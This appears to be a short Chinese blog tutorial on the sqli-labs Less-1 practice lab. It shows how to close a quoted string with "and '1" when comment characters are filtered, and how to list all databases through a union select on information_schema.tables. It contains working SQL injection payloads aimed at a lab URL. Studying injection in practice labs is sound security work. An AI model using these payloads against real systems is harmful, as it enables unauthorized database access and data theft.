sql注入注释符被过滤情况下,字符闭合,联合查询select 1,group_concat(schema_name),3 from information_schema.schemata无效的解决方法

文章目录

      • 问题
      • 解决方法

  • 问题

  • http://43.247.91.228:84/Less-1/
  • 以上述连接为例。即sql-labs的第一个。sql语句为 select username,password from table whrere id = ‘input’
  • 闭合条件为?id=1’ --+ ,如果注释符被过滤,那么闭合条件就会变为?id=1’ and '1 (note:不能用or,会导致永真效果)
    sql注入注释符被过滤情况下,字符闭合,联合查询select 1,group_concat(schema_name),3 from information_schema.schemata无效的解决方法_第1张图片
  • 此时缺产生了一个致命的问题,即查找数据库出错
  • http://43.247.91.228:84/Less-1/?id=1' union select 1,group_concat(schema_name),3 from information_schema.schemata and '1
    sql注入注释符被过滤情况下,字符闭合,联合查询select 1,group_concat(schema_name),3 from information_schema.schemata无效的解决方法_第2张图片
  • 解决方法

  • 换另一个查找所有数据库的构造语句。
  • union select 1,group_concat(table_schema),3 from information_schema.tables group by table_schema
  • http://43.247.91.228:84/Less-1/?id=0' union select 1,group_concat(table_schema),3 from information_schema.tables group by table_schema and '1
  • 打开f12复制下来爆出数据库,虽然有很多重复的字段,但是能看到所有的数据库。

你可能感兴趣的:(sql注入)